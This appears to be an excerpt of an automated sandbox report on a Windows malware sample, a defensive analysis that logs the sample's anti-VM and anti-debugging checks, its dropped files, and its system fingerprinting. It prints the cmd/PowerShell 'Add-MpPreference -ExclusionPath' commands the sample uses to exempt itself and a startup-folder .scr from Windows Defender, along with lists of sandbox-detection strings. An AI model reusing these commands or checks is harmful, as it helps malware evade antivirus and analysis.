Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5032	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6030	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7329
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2229
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1118
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3440
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2236
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2568
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4550
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 555
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1081
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2227
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3064
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 638

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73202\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73202\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73202\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73202\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73202\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73202\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73202\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73202\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73202\python311.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73202\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73202\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73202\unicodedata.pyd	Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5316	Thread sleep count: 5032 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6924	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7272	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6024	Thread sleep count: 6030 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6900	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1076	Thread sleep count: 350 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5740	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1744	Thread sleep count: 7329 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1744	Thread sleep count: 2229 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1596	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3384	Thread sleep count: 1118 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6536	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6188	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6856	Thread sleep count: 3440 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5820	Thread sleep time: -11990383647911201s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6736	Thread sleep count: 2236 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7104	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5640	Thread sleep count: 2568 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7684	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5304	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7728	Thread sleep count: 4550 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2720	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8000	Thread sleep count: 555 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6624	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400	Thread sleep count: 1081 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7400	Thread sleep count: 2227 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5804	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2472	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6756	Thread sleep count: 3064 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7016	Thread sleep count: 638 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6512	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7764	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\SysWOW64\tree.com	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\SysWOW64\tree.com	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\Windows\SysWOW64\tree.com	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\SysWOW64\tree.com	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA446EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	109_2_00007FF6FAA446EC
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA3E21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	109_2_00007FF6FAA3E21C
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA888E0 FindFirstFileExA,	109_2_00007FF6FAA888E0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: getmac.exe, 00000057.00000002.2676819585.0000000003477000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000057.00000003.2674066441.0000000003474000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V
Source: KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vboxservice
Source: getmac.exe, 00000057.00000003.2674066441.000000000349E000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000057.00000003.2675081406.000000000349E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage"K
Source: KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareuser
Source: getmac.exe, 00000057.00000003.2674066441.0000000003492000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000057.00000002.2677507170.0000000003492000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000057.00000003.2675211737.0000000003492000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SetPropValue.sSubKeyName("SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage");
Source: KpHYfxnJs6.exe, 00000000.00000002.2912329036.00000000050D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__4+<
Source: getmac.exe, 00000057.00000002.2676819585.0000000003477000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000057.00000003.2674066441.0000000003474000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmsrvc
Source: KpHYfxnJs6.exe, 00000004.00000003.2603116149.0000000004E43000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484207815.0000000004E0A000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2884329550.0000000004E45000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2881336814.0000000004E43000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484268459.0000000004E67000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484460219.0000000004E68000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744996096.0000000004E44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll)
Source: KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwaretray
Source: KpHYfxnJs6.exe, 00000004.00000003.2744344926.000000000767A000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2652879260.0000000007678000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2742827988.0000000007D4A000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2674550956.000000000762D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2743962657.0000000007672000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2684446384.0000000007534000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2647658654.0000000007679000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2677988442.000000000762E000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2678531952.0000000007531000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2684053799.0000000007628000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: getmac.exe, 00000057.00000002.2676819585.0000000003477000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000057.00000003.2674066441.0000000003474000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_NetworkProtocolHyper-V RAWHyper-VRAWHyper-V RAW`8<
Source: KpHYfxnJs6.exe, 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2478525304.0000000007540000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vboxtray
Source: KpHYfxnJs6.exe, 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2478525304.0000000007540000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qemu-ga
Source: KpHYfxnJs6.exe, 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: getmac.exe, 00000057.00000003.2674898339.00000000034B4000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000057.00000002.2677991760.00000000034B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: __PARAMETERSSYSTEM\CurrentControlSet\Services\Hyper-V\LinkageExport
Source: KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareservicer`
Source: KpHYfxnJs6.exe, 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2478525304.0000000007540000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmusrvc
Source: getmac.exe, 00000057.00000003.2674898339.00000000034B4000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000057.00000002.2677991760.00000000034B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage
Source: KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: KpHYfxnJs6.exe, 00000004.00000003.2478427258.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwarec
Source: KpHYfxnJs6.exe, 00000000.00000003.1672563965.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlmp.exeST\VBOX__
Source: KpHYfxnJs6.exe, 00000000.00000003.1672642166.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnmp.exeSDT\VBOX__
Source: KpHYfxnJs6.exe, 00000004.00000002.2887094971.0000000007680000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareservice

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe

Code function: 109_2_00007FF6FAA84C10 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

109_2_00007FF6FAA84C10

Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe

Code function: 109_2_00007FF6FAA89D20 GetProcessHeap,

109_2_00007FF6FAA89D20

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA84C10 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	109_2_00007FF6FAA84C10
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA7B52C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	109_2_00007FF6FAA7B52C
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA7B6D8 SetUnhandledExceptionFilter,	109_2_00007FF6FAA7B6D8
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA7A66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	109_2_00007FF6FAA7A66C

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\KpHYfxnJs6.exe'"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\KpHYfxnJs6.exe'
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ??.scr'"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ??.scr'
